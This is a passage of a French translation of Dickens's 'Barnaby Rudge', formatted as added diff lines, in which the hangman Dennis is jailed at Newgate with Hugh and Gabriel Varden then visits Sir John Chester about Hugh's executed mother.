+enfants, aux gens de tout âge, de toute variété de criminalité;
+quand il songeait à la haute faveur dont il jouissait, par titre
+officiel, près de la Couronne, et des deux Chambres du parlement,
+de la Monnaie, de la Banque d'Angleterre et des Juges du
+territoire; quand il repassait dans son esprit tous les ministres
+successifs dont il était resté toujours la panacée favorite; quand
+il réfléchissait que c'était à lui que l'Angleterre devait de
+rester isolée dans la gloire de la pendaison parmi les nations
+civilisées de la terre; quand il se représentait tous ces titres
+et qu'il les pesait dans son esprit, il n'avait pas l'ombre d'un
+doute qu'il y allait de l'honneur de la nation reconnaissante de
+l'acquitter des conséquences de ses dernières escapades, et
+qu'elle ne pouvait manquer de lui rendre son ancienne place dans
+le bienheureux système social.
+
+Il en était donc resté, comme on dit, sur sa bonne bouche, quand
+il prit place au milieu de l'escorte qui l'attendait, et il se
+rendit à la prison avec une indifférence héroïque. Et arrivant à
+Newgate, où on avait réparé à la hâte les ruines de quelques
+cachots pour y tenir en toute sûreté les révoltés, il reçut un
+accueil chaleureux des porte-clefs, charmés de voir un cas
+extraordinaire, un cas intéressant, qui rompait agréablement la
+monotonie de leur service uniforme. Aussi, sous l'empire de cette
+aimable surprise, lui mit-on les fers avec un soin tout
+particulier, avant de le coffrer dans l'intérieur de la prison.
+
+«Camarade, dit le bourreau, pendant que, sous la conduite d'un
+officier de la geôle, il traversait, dans cet attirail nouveau
+pour lui, tous les corridors qu'il connaissait si bien, est-ce que
+je vais rester longtemps avec quelqu'un?
+
+-- Si vous nous aviez laissé plus de cellules debout, on vous en
+aurait donné une pour vous tout seul, lui répondit-on; mais, pour
+le moment, la place nous manque, et nous sommes obligés de vous
+donner de la compagnie.
+
+-- À la bonne heure, répliqua Dennis, je n'ai pas de répugnance
+pour être en compagnie, camarade; au contraire, j'aime assez la
+société. J'étais né pour la société, vrai.
+
+-- Quel dommage, n'est-ce pas? dit son conducteur.
+
+-- Mais non, répondit Dennis, je ne trouve pas. Pourquoi donc
+serait-ce dommage, camarade?
+
+-- Oh! dame! je ne sais pas, dit l'autre négligemment. C'est que,
+comme vous dites que vous étiez né pour la société, et qu'on va
+vous en priver dans votre fleur, vous comprenez...
+
+-- Dites-moi donc, reprit l'autre vivement, de quoi diable me
+parlez-vous là? Qu est-ce que c'est que ces gens-là qu'on va
+priver dans leurs fleurs?
+
+-- Oh! personne précisément: je croyais que c'était peut-être
+vous,» dit le geôlier.
+
+M. Dennis s'essuya la face, qui était devenue tout à coup rouge
+comme le feu. «Vous avez toujours aimé à dire des farces» dit-il à
+son conducteur d'une voix tremblante, et il le suivit en silence,
+jusqu'à ce qu'il se fut arrêté devant la porte.
+
+-- C'est là ma résidence, n'est-ce pas? demanda-t-il d'un air
+facétieux.
+
+-- Oui, voilà la boutique, monsieur,» répliqua l'autre. Dennis se
+disposait à y entrer, d'assez mauvaise grâce, quand tout à coup il
+s'arrêta et recula tout saisi.
+
+«Eh bien! dit le geôlier, comme vous voilà ému!
+
+-- Hum! dit Dennis à voix basse et fort alarmé. Il y a de quoi!
+Fermez cette porte.
+
+-- C'est ce que je vais faire, quand vous serez entré.
+
+-- Mais je n'entrerai pas du tout. Je ne veux pas qu'on m'enferme
+avec cet homme-là. Est-ce que vous avez envie de me faire
+étrangler, camarade?»
+
+Le geôlier n'avait pas l'air d'avoir la moindre envie pour ou
+contre; mais lui faisant observer en deux mots qu'il avait sa
+consigne, et qu'il voulait l'exécuter, il ferma la porte par-
+dessus lui, tourna la clef et se retira.
+
+Dennis se tenait tout tremblant le dos contre la porte, et levant
+le bras par un mouvement involontaire pour se mettre en défense,
+les yeux fixés sur un homme, le seul locataire pour le moment du
+cachot, qui était étendu tout de son long sur un banc de pierre,
+et qui venait de suspendre sa respiration comme s'il était en
+train de se réveiller. Cependant il se roula sur le côté, laissa
+pendre son bras négligemment poussa un long soupir et, murmurant
+quelques mots inintelligibles, retomba aussitôt dans le sommeil.
+
+Légèrement rassuré par ce répit, le bourreau détourna un moment
+les yeux de son compagnon endormi, et jeta un coup d'oeil autour
+du cachot pour voir s'il ne trouverait pas quelque endroit
+favorable ou quelque arme propice pour se défendre. Il n'y avait
+pas d'autre meuble qu'une mauvaise table, qu'on ne pouvait
+déranger sans faire du bruit, et une lourde chaise. Il se glissa
+sur la pointe du pied vers ce dernier article de mobilier,
+l'emporta dans le coin le plus reculé, et le mettant devant lui
+pour s'en faire un rempart, il surveilla de là les mouvements de
+l'ennemi avec la plus grande vigilance et une extrême défiance.
+
+L'homme qui dormait là, c'était Hugh. Et naturellement Dennis
+devait se trouver dans un état d'attente assez pénible, et
+souhaiter à part lui que l'autre ne se réveillât jamais. Fatigué
+de rester debout, il s'accroupit dans son coin au bout de quelque
+temps, et finit par s'asseoir sur le pavé glacé. Cependant,
+quoique la respiration de Hugh annonçât toujours qu'il dormait
+d'un bon somme, il ne pouvait se résoudre à le quitter des yeux un
+instant. Il en avait si grand'peur, il redoutait tellement un
+assaut subit de sa part, que, non content d'observer ses yeux
+fermés au travers des barreaux de la chaise, il se levait en
+tapinois de temps en temps sur ses pieds pour le regarder, le cou
+tendu, et s'assurer qu'il était réellement bien endormi, et qu'il
+n'allait pas profiter d'un moment de surprise pour s'élancer sur
+lui.
+
+Hugh dormit si longtemps et si profondément, que M. Dennis
+commença à croire qu'il ne se réveillerait pas avant la visite du
+porte-clefs. Déjà il se félicitait de cette supposition flatteuse,
+et bénissait son étoile avec ferveur, quand il se manifesta deux
+ou trois symptômes assez peu rassurants, comme par exemple un
+nouveau mouvement du bras, un nouveau soupir, une agitation
+incessante de la tête; puis, juste au moment où le dormeur allait
+tomber lourdement à bas de ce lit étroit, les yeux de Hugh
+s'ouvrirent.
+
+Le hasard voulut que sa figure se trouvât précisément tournée du
+côté de son visiteur inattendu, il le regarda bien une douzaine de
+secondes tranquillement, sans avoir l'air d'être surpris ni de le
+reconnaître. Puis tout à coup il fit un bond et prononça son nom
+avec un gros juron.
+
+«N'approchez pas, camarade, n'approchez pas, cria Dennis, se
+cachant derrière la chaise, ne me touchez pas. Je suis prisonnier
+comme vous. Je n'ai pas la liberté de mes membres. Je ne suis
+qu'un pauvre vieux. Ne me faites pas de mal.»
+
+Il prononça les derniers mots d'un air si câlin et d'un ton si
+piteux, que Hugh, qui avait saisi la chaise et la tenait en l'air
+pour lui en asséner un coup, se retint et lui dit de se relever.
+
+«Oui certainement, camarade, je vais me relever, cria Dennis,
+prompt à l'apaiser par tous les moyens en son pouvoir; je ne
+demande pas mieux que de faire tout ce qui peut vous être
+agréable, bien sûr; là! me voici relevé. Qu'est-ce que je puis
+faire pour vous? Vous n'avez qu'un mot à dire, et je le ferai.
+
+-- Ce que vous pouvez faire pour moi! cria Hugh, en l'empoignant
+par le collet avec ses deux mains et le secouant aussi rudement
+que s'il voulait lui couper la respiration. Et qu'est-ce que vous
+avez fait pour moi?
+
+-- J'ai fait de mon mieux, ce que je pouvais faire de mieux.»
+répondit le bourreau.
+
+Hugh, sans répliquer, le secoua dans ses serres vigoureuses à lui
+faire branler les dents dans la mâchoire, le lança par terre, et
+alla se rejeter lui-même sur son banc.
+
+«Si ce n'était pas le plaisir que je ressens au moins de vous voir
+ici, murmura-t-il entre ses dents, je vous aurais écrasé la tête
+contre la muraille; oh! oui, et ça ne serait pas long.»
+
+Il se passa quelque temps avant que Dennis eût retrouvé sa
+respiration pour pouvoir parler; mais sitôt qu'il put reprendre
+son langage humble et soumis, il n'y manqua pas.
+
+«Oui, j'ai fait de mon mieux, dit-il d'un ton caressant; savez-
+vous que j'avais là deux baïonnettes dans les reins, et je ne sais
+pas combien de cartouches à mon service, pour me forcer à aller où
+vous étiez, et que, si vous n'aviez pas été pris, vous auriez été
+tué à coups de fusil? Jugez un peu, la belle figure que vous
+auriez faite!... un beau jeune homme comme vous!
+
+-- Je vais donc faire à présent plus belle figure, hein? demanda
+Hugh, en relevant la tête avec une expression si terrible que
+l'autre n'osa pas lui répliquer pour le moment.
+
+-- Il n'y a pas de doute, dit Dennis d'un ton doucereux, après un
+instant de silence. D'abord il y a les chances du procès, et vous
+en avez mille pour vous. Nous pouvons nous en tirer les braies
+nettes: on a vu des choses plus extraordinaires que ça. Après
+cela, quand même ce ne serait pas, et que les chances tourneraient
+contre nous, nous en serons quittes pour être exécutés une bonne
+fois; et ça se fait, voyez-vous, avec tant de propreté, d'adresse
+et d'agrément, si le terme ne vous paraît pas trop fort, que vous
+ne pourriez jamais croire qu'on ait pu porter la chose à ce point
+de perfection. Tuer un de nos semblables à coups de fusil...
+Pouah!» Et cette idée seule révoltait tellement sa nature, qu'il
+cracha sur le pavé du cachot.
+
+La chaleur qu'il montrait sur ce sujet pouvait passer pour du
+courage aux yeux de quelqu'un qui ne connaissait pas ses goûts et
+ses préférences artistiques; de plus, comme il se gardait bien de
+laisser percer ses espérances secrètes, et qu'il avait l'air au
+contraire de se mettre sur le même pied que Hugh, ce vaurien fut
+plus sensible à ces considérations pour se laisser attendrir,
+qu'il ne l'aurait été à tous les plus beaux raisonnements ou à la
+soumission la plus abjecte. Il reposa donc ses bras sur ses
+genoux, et, se baissant en avant, il regarda Dennis par-dessous
+les mèches de ses cheveux, avec une espèce de sourire sur les
+lèvres.
+
+«Le fait est, camarade, dit le bourreau d'un ton de plus intime
+confiance, que vous vous étiez fourré là en assez mauvaise
+compagnie. Vous étiez avec un homme qu'on poursuivait bien plus
+que vous: c'était lui que je cherchais. Au reste, vous voyez ce
+que j'ai gagné à tout cela. Me voici ici comme vous: nous sommes
+dans la même barque.
+
+-- Tenez, gredin, lui dit Hugh en fronçant les sourcils, je ne
+suis pas assez dupe pour ne pas savoir que vous comptiez y gagner
+quelque chose, sans quoi vous ne l'auriez pas fait; mais c'est une
+affaire finie. Vous voilà ici. Il ne sera bientôt pas plus
+question de vous que de moi; et je ne tiens pas plus à vivre qu'à
+mourir, à mourir qu'à vivre; ce m'est tout un. Alors, pourquoi me
+donnerais-je la peine de me venger de vous? Boire, manger, dormir,
+tout le temps que j'ai à rester ici, je ne me soucie pas d'autre
+chose. S'il pouvait seulement pénétrer un peu plus de soleil dans
+ce maudit trou, pour qu'on pût s'y réchauffer, je voudrais y
+rester couché tout le long du jour, sans me donner la peine de me
+lever ou de m'asseoir une fois: voilà comme je me soucie de moi.
+Pourquoi donc me soucier de vous?»
+
+Il finit cette harangue par un grognement qui ressemblait assez au
+bâillement d'une bête féroce, se remit tout de son long sur le
+banc, et ferma de nouveau les yeux.
+
+Après l'avoir regardé quelques moments en silence, Dennis tout
+heureux de l'avoir trouvé si bénin, approcha de sa couche
+grossière la chaise sur laquelle il s'assit près de lui; pourtant
+il prit la précaution de ne pas se mettre à portée de son bras
+nerveux.
+
+«Bien dit, camarade, on ne peut pas mieux dire, se risqua-t-il à
+répondre. Nous allons boire et manger tant que nous pourrons,
+dormir tant que nous pourrons, nous rendre la vie douce tant que
+nous pourrons; et avec de l'argent on a tout: dépensons-le
+gaiement.
+
+-- De l'argent! dit Hugh en se retournant dans une position plus
+commode... où est-il?
+
+-- Dame! ils m'ont pris le mien à la loge, dit M. Dennis, mais ils
+ne traitent pas tout le monde de même.
+
+-- Vous croyez? Eh bien! ils m'ont pris le mien aussi.
+
+-- Alors je vais vous dire, camarade, il faut vous adresser à vos
+parents.
+
+-- Mes parents! dit Hugh se relevant en sursaut et se soutenant
+sur ses mains; où sont-ils, mes parents?
+
+-- Vous avez toujours bien de la famille?
+
+-- Ha! ha! ha! dit Hugh en éclatant de rire et balançant son bras
+au-dessus de sa tête. Ne va-t-il pas parler de parents, ne va-t-il
+pas parler de famille à un homme dont la mère a péri de la mort
+qui attend son fils, et l'a laissé, pauvre affamé, sans un visage
+de connaissance au monde! Venez donc me parler de parents et de
+famille!
+
+-- Camarade, cria le bourreau, dont les traits éprouvèrent un
+changement subit, vous ne voulez pas dire que...
+
+-- Je veux dire, reprit Hugh, qu'ils l'ont pendue à Tyburn. Ce qui
+était bon pour elle est assez bon pour moi. Qu'ils m'en fassent
+autant quand ils voudront... le plus tôt sera le mieux. Pas un mot
+de plus; je vais dormir.
+
+-- Au contraire, j'ai besoin de vous parler; j'ai besoin d'avoir
+là-dessus plus de détails, dit Dennis, changeant de couleur.
+
+-- Ne vous avisez pas de ça, répondit Hugh en grognant; vous ferez
+bien de tenir votre langue. Quand je vous dis que je vais dormir!»
+
+Dennis s'étant risqué à dire quelques mots encore malgré cet
+avertissement, son camarade, furieux, lui lança de toute sa force
+un coup de poing qui pourtant ne l'atteignit pas, puis se recoucha
+en murmurant une foule de jurons et d'imprécations et en se
+tournant la face contre la muraille. Après avoir essayé encore une
+ou deux fois à ses risques et périls, malgré la terrible humeur de
+son compagnon, de le tirer tout doucement par la basque de son
+habit pour reprendre cette conversation dont M. Dennis, pour des
+raisons à lui connues, tenait tant à poursuivre le cours, il n'eut
+pas d'autre alternative que d'attendre, aussi patiemment qu'il le
+put, le bon plaisir du dormeur.
+
+
+
+
+CHAPITRE XXXIII.
+
+
+Un mois s'est écoulé... Nous sommes dans la chambre à coucher de
+sir John Chester. À travers la fenêtre entr'ouverte, le jardin du
+Temple paraît vert et agréable. La paisible rivière, égayée par
+des bateaux et des barques, sillonnée par le battement des rames,
+étincelle au loin. Le ciel est clair et bleu, et l'air suave de
+l'été pénètre doucement dans la chambre, qu'il remplit de ses
+parfums. La ville même, cette ville de fumée, est radieuse. Ses
+toits élevés, ses clochers, ses dômes, ordinairement noirs et
+tristes, ont pris une teinte de gris clair qui est presque un
+sourire. Toutes les vieilles girouettes dorées, les boules, les
+croix qui surmontent les édifices, brillent à nouveau au gai
+soleil du matin, et bien haut, au-dessus de tous les autres,
+domine Saint-Paul, montrant sa crête majestueuse d'or bruni.
+
+Sir John était en train de déjeuner dans son lit. Son chocolat et
+sa rôtie étaient placés près de lui sur une petite table. Des
+livres et des journaux étaient étalés sur le couvre-pied, et,
+s'interrompant tantôt pour jeter un coup d'oeil de satisfaction
+tranquille autour de sa chambre rangée dans un ordre parfait,
+tantôt pour contempler d'un air indolent le ciel azuré, il
+continuait de manger, de boire et de lire les nouvelles, en homme
+qui sait savourer les douceurs de la vie élégante.
+
+La joyeuse influence du matin semblait produire quelque effet,
+même sur son humeur toujours uniforme. Ses manières étaient plus
+gaies qu'à l'ordinaire, son sourire plus serein et plus agréable,
+sa voix plus claire et plus animée. Il déposa le journal qu'il
+venait de lire, se renfonça dans son oreiller de l'air d'un homme
+qui s'abandonne au cours d'une foule de charmants souvenirs, et,
+après un moment de repos, s'adressa à lui-même le monologue
+suivant:
+
+«Et mon ami le Centaure, qui suit les traces de sa petite maman!
+cela ne m'étonne pas. Et son mystérieux ami, M. Dennis, qui prend
+le même chemin! cela ne m'étonne pas non plus. Et mon ancien
+facteur, ce jeune imbécile de Chigwell, avec ses allures
+indépendantes! cela me fait infiniment de plaisir. Il ne pouvait
+rien lui arriver de plus heureux.»
+
+Après s'être soulagé de ces réflexions, il retomba dans le cours
+de ses pensées souriantes, auxquelles il ne s'arracha plus que
+pour finir son chocolat, qu'il ne voulait pas laisser refroidir,
+et pour tirer la sonnette afin qu'on lui en apportât encore une
+tasse.
+
+La tasse arrivée, il la prit des mains de son domestique, et lui
+dit, en le congédiant avec une affabilité charmante: «Bien obligé,
+Peak.»
+
+«C'est une circonstance bien remarquable, se dit-il d'un ton
+nonchalant, en jouant tranquillement avec sa petite cuiller, qu'il
+ne s'en est fallu de rien que mon ami l'imbécile s'échappât de là.
+Par bonheur (ou, comme on dit dans le monde, par un cas
+providentiel), le frère de milord le maire s'est trouvé juste à
+point à l'audience avec d'autres juges de paix campagnards, dont
+la tête épaisse n'a pu résister à la curiosité d'aller voir ça.
+Car, bien que le frère de milord le maire eût décidément tort, et
+donnât par sa déposition stupide une nouvelle preuve de sa parenté
+avec ce drôle de personnage, en déclarant que la tête de mon ami
+était très saine, et qu'à sa connaissance il avait parcouru la
+province avec sa vagabonde mère pour y proclamer des sentiments
+révolutionnaires et séditieux, je ne lui en suis pas moins obligé
+d'avoir porté de lui-même ce témoignage. Ces créatures idiotes
+font quelquefois des observations si étranges et si
+embarrassantes, qu'en vérité il n'y a rien de mieux à faire que de
+les pendre, pour le repos de la société.»
+
+Le juge de paix campagnard avait en effet tourné les chances
+contre le pauvre Barnabé, et décidé les doutes qui faisaient
+pencher la balance en sa faveur. Grip ne se doutait guère de la
+responsabilité qui pesait sur lui dans cette affaire.
+
+«Cela fera un trio singulier, dit sir John, s'appuyant la tête sur
+sa main et dégustant son chocolat, un trio très curieux. Le
+bourreau en personne, le Centaure et l'imbécile. Le Centaure
+ferait un excellent sujet d'autopsie dans l'amphithéâtre de
+chirurgie et rendrait grand service à la science, j'espère qu'ils
+n'auront pas manqué de le retenir d'avance... Peak, je n'y suis
+pas, vous sentez: pour personne, excepté le coiffeur.»
+
+Cette recommandation à son domestique fut provoquée par un petit
+coup à la porte, que Peak se dépêcha d'aller ouvrir. Après un
+chuchotement prolongé de demandes et de réponses, il revint, et,
+au moment où il venait de fermer soigneusement derrière lui la
+porte de la chambre, on entendit tousser un homme dans le
+corridor.
+
+«Non, c'est inutile, Peak, dit sir John, levant la main pour lui
+faire signe qu'il pouvait s'épargner la peine de lui rendre compte
+de son message: je n'y suis pas, je ne puis pas vous entendre. Je
+vous ai déjà dit que je n'y étais pas, et ma parole est sacrée.
+Vous ne ferez donc jamais ce que je vous commande?»
+
+N'ayant rien à répondre à un ordre si péremptoire, l'homme allait
+se retirer, quand le visiteur qui lui avait valu ce reproche,
+impatient d'attendre, apparemment, cogna plus fort à la porte, en
+criant qu'il avait à communiquer à sir John Chester une affaire
+urgente, qui n'admettait point de retard. «Faites-le entrer, dit
+sir John. Mon brave homme, ajouta-t-il quand la porte fut ouverte,
+comment pouvez-vous vous introduire si familièrement et d'une
+manière si extraordinaire dans les appartements particuliers d'un
+gentleman? Comment pouvez-vous vous manquer ainsi à vous-même, et
+vous exposer au reproche mérité de vous montrer si mal élevé?
+
+-- L'affaire qui m'amène, sir John, n'est pas ordinaire, je vous
+assure, répondit la personne à qui s'adressait ce mauvais
+compliment; et si je n'ai pas suivi les règles de la politesse
+ordinaire pour me présenter devant vous, j'espère que vous voudrez
+bien me le pardonner, par cette considération.
+
+-- À la bonne heure! Nous verrons bien, nous verrons bien, reprit
+sir John, dont le visage s'éclaircit aussitôt qu'il eut vu celui
+de son visiteur, et qui reprit tout à fait son sourire avenant. Je
+crois que nous nous sommes déjà vus quelque part? ajouta-t-il de
+son ton séduisant; mais, réellement, je ne me rappelle plus votre
+nom.
+
+-- Je m'appelle Gabriel Varden.
+
+-- Varden? Ah! oui, certainement. Varden, reprit sir John en se
+donnant une tape sur le front. Mon Dieu! comme ma mémoire devient
+quinteuse! Certainement, Varden... M. le serrurier Varden. Vous
+avez une charmante femme, monsieur Varden, et une bien belle
+fille! Ces dames se portent bien?
+
+-- Oui, monsieur, très bien; je vous remercie.
+
+-- J'en suis charmé. Rappelez-moi à leur souvenir quand vous allez
+les revoir, et dites-leur que je regrette bien de ne pouvoir être
+assez heureux pour leur faire moi-même les compliments dont je
+vous ai chargé pour elles. Eh bien! demanda-t-il après un moment
+de silence de l'air le plus mielleux, qu'est-ce que je peux faire
+pour vous? Disposez de moi, ne vous gênez pas.
+
+-- Je vous remercie, sir John, dit Gabriel avec un peu de fierté;
+mais ce n'est pas pour vous demander une faveur que je viens ici,
+c'est simplement pour une affaire... particulière, ajouta-t-il en
+jetant un coup d'oeil du côté du domestique, qui restait là à
+regarder... une affaire très pressante.
+
+-- Je ne vous dirai pas que votre visite n'en est que plus
+agréable pour être désintéressée, et que vous n'eussiez pas été
+également le bienvenu si vous aviez eu à me demander quelque
+chose, car je me serais estimé heureux de vous rendre service;
+mais enfin, soyez le bienvenu dans tous les cas... Faites-moi le
+plaisir, Peak, de me verser encore un peu de chocolat, et de ne
+pas rester là.»
+
+Le domestique se retira et les laissa seuls.
+
+«Sir John, dit Gabriel, je ne suis qu'un ouvrier, et je n'ai
+jamais été autre chose de ma vie; si je ne sais pas bien vous
+préparer à entendre ce que j'ai à vous dire, si je vais tout droit
+au but, un peu brusquement, si je vous donne un coup qu'un
+gentleman vous aurait mieux ménagé ou au moins adouci mieux que
+moi, j'espère que vous me saurez toujours gré de l'intention: car
+j'ai bien le désir d'y mettre du soin et de la discrétion, et je
+suis sûr que, de la part d'un homme tout rond comme moi, vous
+prendrez l'intention pour le fait.
+
+-- Monsieur Varden, répliqua l'autre, sans être en rien déconcerté
+par cet exorde, je vous prie de vouloir bien prendre une chaise.
+Je ne vous offre pas de chocolat, vous ne l'aimez peut-être pas? À
+la bonne heure! Ce n'est pas un goût primitif.
+
+-- Sir John, dit Gabriel, qui avait reconnu par un salut
+l'invitation à lui faite de s'asseoir, sans vouloir en profiter;
+sir John...» Il baissa la voix et s'approcha plus près de lui...
+«J'arrive tout droit de Newgate.
+
+-- Dieu du ciel! s'écria sir John, se mettant bien vite sur son
+séant dans son lit; de Newgate, monsieur Varden! Il n'est pas
+possible que vous ayez l'imprudence de venir de Newgate. Newgate,
+où il y a des typhus de prison, des gens en guenilles, des va-nu-
+pieds, tant hommes que femmes, et un tas d'horreurs! Peak,
+apportez le camphre, vite, vite. Ciel et terre! mon cher monsieur
+Varden, ma bonne âme! est-il vraiment possible que vous veniez de
+Newgate?»
+
+Gabriel, sans répondre, regardait seulement en silence, pendant
+que Peak, qui venait d'entrer à propos avec le supplément de
+chocolat tout chaud, courait ouvrir un tiroir, et rapportait une
+bouteille dont il aspergeait la robe de chambre de son maître, et
+toute la literie; après quoi il en arrosa le serrurier lui-même, à
+pleines mains, et décrivit autour de lui un cercle de camphre sur
+le tapis. Cela fait, il se retira de nouveau; et sir John, appuyé
+nonchalamment sur son oreiller, tourna encore une fois sa face
+souriante du côté de son visiteur.
+
+«Vous me pardonnerez, j'en suis sûr, monsieur Varden, de m'être
+montré si ému tout de suite, dans votre intérêt comme dans le
+mien. J'avoue que j'en ai été saisi, malgré votre exorde délicat.
+Voulez-vous me permettre de vous demander la faveur de ne pas
+approcher davantage?... Réellement, est-ce que vous venez de
+Newgate?»
+
+Le serrurier inclina la tête.
+
+«Vrai... ment! Eh bien! alors, monsieur Varden, toute exagération
+et tout embellissement à part, dit sir John d'un ton confidentiel,
+en savourant son chocolat, quel genre d'endroit est-ce que
+Newgate?
+
+-- C'est un endroit bien étrange, sir John, répondit le serrurier.
+Un endroit d'un genre bleu triste et bien affligeant. Un endroit
+étrange, où l'on voit et où l'on entend d'étranges choses; mais il
+ne peut pas y en avoir de plus étranges que celles dont je viens
+vous entretenir. C'est un cas urgent. Je suis envoyé ici...
+
+-- Ce n'est toujours pas... de la prison? Non, non, ce n'est pas
+possible.
+
+-- Si, de la prison, sir John.
+
+-- Mais mon bon, mon crédule, mon brave ami, dit sir John en
+posant sa tasse pour rire aux éclats, envoyé par qui donc?
+
+-- Par un homme du nom de Dennis... qui, après en avoir tant pendu
+d'autres depuis des années, sera demain lui-même un pendu.»
+répondit le serrurier.
+
+Sir John s'était attendu... il en était même sûr dès le
+commencement... qu'il lui dirait que c'était Hugh qui l'avait
+envoyé, et il tenait là-dessus sa réponse prête. Mais ce qu'il
+entendait là lui causa un degré d'étonnement que, pour le moment,
+malgré son habileté à composer son visage, il ne put s'empêcher de
+laisser percer dans ses traits. Cependant il eut bientôt dissimulé
+ce léger trouble, et dit du même ton léger:
+
+«Et qu'est-ce que le gentleman veut de moi? Ma mémoire peut bien
+encore me faire défaut, mais je ne me souviens pas d'avoir jamais
+eu le plaisir de lui être présenté, ou de le compter au nombre de
+mes amis personnels, je vous assure, Varden.
+
+-- Sir John, répondit le serrurier gravement, je vais vous
+répéter, aussi exactement que je pourrai, dans les termes mêmes
+dont il s'est servi, ce qu'il désire vous communiquer, et ce qu'il
+faut que vous sachiez, sans perdre un instant.»
+
+Sir John Chester s'installa dans une position plus moelleuse
+encore et regarda son visiteur avec une expression qui semblait
+dire: «Voilà un brave homme bien amusant; il faut que je l'entende
+jusqu'au bout.»
+
+«Peut-être avez-vous vu dans le journal, dit Gabriel, en montrant
+celui que sir John avait sous la main, que j'ai déposé comme
+témoin contre cet homme dans son procès, il y a déjà quelques
+jours, et que ce n'est pas sa faute si j'ai vécu assez pour être à
+même de dire ce que j'avais vu?
+
+-- Peut-être! cria sir John. Comment pouvez-vous dire peut-être?
+Mon cher monsieur Varden, vous êtes un héros, et vous méritez bien
+de vivre dans la mémoire des hommes. Rien ne peut surpasser
+l'intérêt avec lequel j'ai lu votre déposition, et avec lequel je
+me suis rappelé que j'avais le plaisir de vous connaître un peu...
+J'espère bien que nous allons faire publier votre portrait!
+
+-- Ce matin, monsieur, dit le serrurier, sans faire attention à
+ces compliments, ce matin, de bonne heure, on m'a apporté de
+Newgate un message de la part de cet homme, qui me priait d'aller
+le voir, parce qu'il avait quelque chose de particulier à me
+communiquer. Je n'ai pas besoin de vous dire que ce n'est pas un
+de mes amis, et que je ne l'avais même jamais vu avant le siège de
+ma maison par les insurgés.»
+
+Sir John s'éventa doucement avec le journal, en faisant un signe
+de tête pour témoigner de son assentiment.
+
+«Cependant, reprit Gabriel, je savais, par le bruit public, que le
+mandat d'exécution pour le mettre à mort demain était arrivé la
+nuit dernière à la prison, et le regardant comme un homme in
+extremis, je cédai à sa demande.
+
+-- Vous êtes un vrai chrétien, monsieur Varden, dit sir John; et
+cette aimable qualité de plus redouble le désir que je vous ai
+déjà exprimé de vous voir prendre une chaise.
+
+-- Il m'a dit, continua Gabriel, en regardant avec fermeté le
+chevalier, qu'il m'avait envoyé chercher parce qu'en sa qualité
+d'exécuteur des hautes oeuvres, il n'avait ni ami ni camarade au
+monde, et parce qu'il croyait, d'après la manière dont il m'avait
+vu déposer en justice, que je devais être un homme loyal, qui
+agirait franchement et fidèlement avec lui. Il ajouta qu'étant
+évité par chacun de ceux qui connaissaient sa profession, même par
+les gens du plus bas étage et de la plus misérable condition, et
+voyant, quand il était allé rejoindre les rebelles, que ceux
+auxquels il s'était associé ne s'en doutaient pas (et je crois
+qu'il m'a dit vrai, car il avait là pour camarade un pauvre
+imbécile d'apprenti que j'avais depuis longtemps à la boutique),
+il s'était bien gardé de leur livrer son secret, jusqu'au moment
+où il avait été pris et mené en prison.
+
+-- C'est très discret de la part de M. Dennis, fit observer sir
+John avec un léger bâillement, quoique toujours avec la plus
+extrême affabilité mais... à l'exception de votre manière
+admirable et lucide de narrer, contre laquelle je n'ai rien à
+dire... ce n'est pas autrement intéressant pour moi.
+
+-- Lorsque, poursuivit le serrurier sans se laisser intimider par
+ces interruptions auxquelles il ne faisait seulement pas
+attention... lorsqu'il fut mené en prison, il y trouva pour
+camarade de chambrée un jeune homme nommé Hugh, un des chefs de
+l'émeute, qui avait été trahi et livré par lui. D'après quelques
+paroles échappées à ce malheureux dans le cours de la conversation
+vive qu'ils échangèrent en se retrouvant, il découvrit que la mère
+de Hugh avait subi la même mort que celle qui leur était à tous
+deux réservée... Le temps est bien court, sir John.»
+
+Le chevalier posa son éventail de papier, remit sa tasse sur la
+table près de lui, et, à l'exception du sourire qui perça dans le
+coin de sa bouche, il regarda le serrurier d'un oeil aussi assuré
+que le serrurier le regardait lui-même.
+
+«Voici maintenant un mois qu'ils sont en prison. De fil en
+aiguille, le bourreau a bientôt reconnu, par leurs conversations,
+en comparant les dates, les lieux, les circonstances, que c'était
+lui-même qui avait exécuté la sentence prononcée contre cette
+femme par la loi. Tentée par le besoin, comme tant d'autres, elle
+s'était laissé entraîner au délit fatal de passer de faux billets
+de banque. Elle était jeune et belle, et les industriels qui
+emploient des hommes, des femmes et des enfants à ce trafic,
+jetèrent les yeux sur elle comme sur une personne faite pour
+réussir dans leur commerce, et probablement pour ne pas éveiller
+de longtemps les soupçons. Ils s'étaient bien trompés: elle fut
+arrêtée du premier coup, et condamnée à mort pour son début. Elle
+était Bohémienne de naissance, sir John...»
+
+Peut-être n'était-ce que l'effet d'un nuage qui obscurcit le
+soleil en passant, et jeta une ombre sur la figure du chevalier;
+mais il devint d'une pâleur mortelle. Cela ne l'empêcha pas de
+soutenir d'un oeil ferme l'oeil du serrurier, comme auparavant.
+
+«Elle était Bohémienne de naissance, sir John, répéta Gabriel, et
+elle avait l'âme haute, indépendante; raison de plus, avec sa
+bonne mine et ses manières distinguées, pour intéresser quelques-
+uns de ces gentlemen qui se laissent aisément prendre à des yeux
+noirs: on fit donc des efforts pour la sauver. On y aurait réussi,
+si elle avait voulu seulement leur dire quelques mots de son
+histoire. Mais elle n'y consentit jamais, elle s'obstina dans son
+silence. On eut même des raisons de soupçonner qu'elle attenterait
+à sa vie. On la mit en surveillance nuit et jour, et, à partir de
+ce moment, elle n'ouvrit plus la bouche.»
+
+Sir John étendit la main vers sa tasse, mais le serrurier l'arrêta
+en chemin:
+
+«Excepté, ajouta-t-il, une minute avant de mourir. Car alors elle
+rompit le silence pour dire d'une voix ferme, qui ne fut entendue
+que de son exécuteur, lorsque toute créature vivante s'était
+retirée pour l'abandonner à son sort: «Si j'avais là une dague
+dans les doigts, et qu'il fût à portée de mes mains, je la lui
+enfoncerais dans le coeur, même en ce moment suprême! -- À qui ça!
+demanda l'autre. -- Au père de mon garçon,» dit-elle.»
+
+Sir John retira sa main, et, voyant que le serrurier s'était tu,
+il lui fit signe avec la plus tranquille politesse et sans aucune
+émotion apparente, de continuer.
+
+«C'était le premier mot qui lui fût échappé depuis le
+commencement, qui pût faire soupçonner qu'elle eût aucun
+attachement sur la terre. «Et l'enfant, est-il vivant? demanda-t-
+il. -- Oui,» répondit-elle. Il lui demanda où il était, quel était
+son nom, et si elle avait quelque souhait à former pour lui. «Je
+n'en ai qu'un: c'est qu'il puisse vivre et grandir dans une
+ignorance absolue de son père, pour que rien au monde ne puisse
